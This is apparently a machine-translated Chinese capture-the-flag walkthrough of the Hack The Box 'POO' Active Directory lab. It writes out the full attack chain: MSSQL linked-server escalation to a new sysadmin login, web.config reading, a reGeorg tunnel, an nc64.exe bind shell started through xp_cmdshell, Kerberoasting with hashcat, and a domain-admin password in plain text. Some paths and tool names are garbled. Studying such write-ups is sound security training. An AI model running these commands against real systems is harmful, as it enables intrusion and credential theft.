在本文中,我們將分析的不僅僅是一台機器,而是現場的整個迷你實驗室
正如描述中所述,POO 旨在測試小型 Active Directory 環境中攻擊各個階段的技能。 目標是危害可用主機、提升權限,並通過在此過程中收集 5 個標誌最終危害整個域。
與實驗室的連接是通過 VPN 進行的。 建議不要從工作計算機或有重要數據的主機進行連接,因為您與了解信息安全的人進入專用網絡 🙂
組織信息
為了讓您可以了解新的文章、軟件和其他信息,我創建了
所有信息僅用於教育目的。 對於因使用學習本文檔所獲得的知識和方法而對任何人造成的任何損害,本文檔的作者不承擔任何責任。
簡介
此殘局由兩台機器組成並包含 5 個旗幟。
還給出了可用主機的描述和地址。
開始吧!
偵察旗
這台機器的 IP 地址為 10.13.38.11,我將其添加到 /etc/hosts 中。
10.13.38.11 poo.htb
第一步是掃描開放端口。 由於使用nmap掃描所有端口需要很長時間,因此我將首先使用masscan來完成此操作。 我們以 0pps 的速度掃描 tun500 接口的所有 TCP 和 UDP 端口。
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
現在,要獲取有關端口上運行的服務的更多詳細信息,讓我們使用 -A 選項運行掃描。
nmap -A poo.htb -p80,1433
這樣,我們就有了 IIS 和 MSSQL 服務。 在這種情況下,我們將找出域和計算機的真實 DNS 名稱。 在 Web 服務器上,我們看到的是 IIS 主頁。
讓我們迭代一下目錄。 我為此使用 gobuster。 在參數中,我們指定流的數量 128 (-t)、URL (-u)、字典 (-w) 和我們感興趣的擴展 (-x)。
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
這樣,我們就可以對 /admin 目錄進行 HTTP 身份驗證,並且可以使用 .DS_Store 桌面服務存儲文件。 .DS_Store 是存儲文件夾的用戶設置的文件,例如文件列表、圖標位置、選定的背景圖像。 這樣的文件最終可能會出現在 Web 開發人員的 Web 服務器目錄中。 因此,我們獲得有關目錄內容的信息。 為此,您可以使用
python3 dsstore_crawler.py -i http://poo.htb/
我們得到了目錄的內容。 這裡最有趣的是/dev目錄,從中我們可以看到兩個分支中的sources和db文件。 但如果服務容易受到 IIS ShortName 的攻擊,我們可以使用文件和目錄名稱的前 6 個字符。 您可以使用以下命令檢查此漏洞
我們找到一個以“poo_co”開頭的文本文件。 不知道下一步該做什麼,我只是從目錄詞典中選擇了所有以“co”開頭的單詞。
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
並使用 wfuzz 進行迭代。
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
並找到正確的詞! 我們查看這個文件,保存憑據(通過 DBNAME 參數判斷,它們來自 MSSQL)。
我們交出了旗幟,我們前進了20%。
呵呵旗幟
我們連接到 MSSQL,我使用 DBeaver。
我們在這個數據庫中沒有發現任何有趣的東西,讓我們創建一個 SQL 編輯器並檢查用戶是什麼。
SELECT name FROM master..syslogins;
我們有兩個用戶。 讓我們檢查一下我們的特權。
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
因此,沒有任何特權。 讓我們看看鏈接服務器,我詳細介紹了這項技術
SELECT * FROM master..sysservers;
所以我們找到另一個SQL Server。 讓我們使用 openquery() 檢查該服務器上命令的執行情況。
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
我們甚至可以構建一個查詢樹。
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
事實是,當我們向鏈接服務器發出請求時,該請求是在另一個用戶的上下文中執行的! 讓我們看看我們在鏈接服務器上運行的用戶上下文。
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
現在讓我們看看從鏈接服務器到我們的請求是在什麼上下文中執行的!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
因此,它是一個必須擁有所有權限的 DBO 上下文。 讓我們檢查一下來自鏈接服務器的請求時的權限。
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
如您所見,我們擁有所有特權! 讓我們像這樣創建我們的管理員。 但是他們不讓他們通過openquery,讓我們通過EXECUTE AT來完成。
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
現在我們連接新用戶的憑據,觀察新的標誌數據庫。
我們交出這面旗幟,走得更遠。
回溯標誌
讓我們使用 MSSQL 獲取 shell,我使用 impacket 包中的 mssqlclient。
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
我們需要獲取密碼,而我們首先遇到的就是網站。 因此,我們需要一個 Web 服務器配置(不可能拋出一個方便的 shell,顯然防火牆正在工作)。
但訪問被拒絕。 雖然我們可以從MSSQL讀取該文件,但我們只需要知道配置了什麼編程語言即可。 在MSSQL目錄中我們發現有Python。
那麼讀取web.config文件就沒有問題了。
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
找到憑據後,轉到 /admin 並拿起標誌。
立足點旗幟
事實上,使用防火牆確實有一些不便,但是查看網絡設置,我們發現也使用了IPv6協議!
將此地址添加到 /etc/hosts 中。
dead:babe::1001 poo6.htb
讓我們再次掃描主機,但這次是通過 IPv6。
WinRM 服務可通過 IPv6 獲得。 讓我們連接找到的憑據。
桌面上有一面旗幟,把它交出來。
P00ned 標誌
對主機進行偵察後
setspn.exe -T intranet.poo -Q */*
讓我們通過 MSSQL 執行該命令。
這樣我們就得到了用戶p00_hr和p00_adm的SPN,這意味著他們容易受到Kerberoasting等攻擊。 簡而言之,我們可以獲得他們密碼的哈希值。
首先,您需要代表 MSSQL 用戶獲得一個穩定的 shell。 但由於我們的訪問受到限制,我們只能通過端口 80 和 1433 與主機建立連接。 但可以通過端口 80 進行隧道流量! 為此,我們將使用
但是當我們嘗試訪問它時,我們得到了404錯誤,這意味著*.aspx文件沒有被執行。 要使具有這些擴展名的文件運行,請按如下方式安裝 ASP.NET 4.5。
dism /online /enable-feature /all /featurename:IIS-ASPNET45
現在,當訪問tunnel.aspx時,我們得到的答案是一切都準備好了。
讓我們啟動應用程序的客戶端部分,它將中繼流量。 我們會將所有流量從端口 5432 轉發到服務器。
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
我們使用代理鏈通過我們的代理髮送任何應用程序的流量。 讓我們將此代理添加到 /etc/proxychains.conf 配置文件中。
現在我們將程序上傳到服務器
現在,通過 MSSQL,我們啟動監聽器。
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
我們通過代理連接。
proxychains rlwrap nc poo.htb 4321
讓我們獲取哈希值。
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
接下來,您需要迭代這些哈希值。 由於rockyou沒有密碼數據字典,所以我使用了Seclists中提供的所有密碼字典。 對於枚舉,我們使用 hashcat。
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
我們找到了兩個密碼,第一個在 dutch_passwordlist.txt 字典中,第二個在 Keyboard-Combinations.txt 中。
所以我們有三個用戶,我們轉到域控制器。 我們先查一下他的地址。
太好了,我們已經了解了域控制器的 IP 地址。 讓我們找出該域的所有用戶,以及其中哪些是管理員。 下載PowerView.ps1腳本獲取信息。 然後我們將使用evil-winrm進行連接,並在-s參數中指定腳本的目錄。 然後加載 PowerView 腳本。
現在我們可以訪問它的所有功能。 p00_adm 用戶看起來像特權用戶,因此我們將在其上下文中工作。 讓我們為此用戶創建一個 PSCredential 對象。
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
現在,我們指定 Creds 的所有 Powershell 命令都將代表 p00_adm 執行。 讓我們顯示用戶列表和 AdminCount 屬性。
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
因此,我們的用戶確實很榮幸。 我們來看看他屬於哪些群體。
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
我們最終確認該用戶是域管理員。 這使其有權遠程登錄到域控制器。 讓我們嘗試使用我們的隧道通過 WinRM 登錄。 我對使用villain-winrm時reGeorg發出的錯誤感到困惑。
然後我們使用另一種更簡單的,
我們嘗試連接,並且我們在系統中。
但沒有旗幟。 然後查看用戶並檢查桌面。
在 mr3ks,我們找到了旗幟,實驗室已 100% 完成。
就這樣。 作為反饋,請評論您是否從本文中學到了新東西以及它是否對您有用。
您可以加入我們:
來源: www.habr.com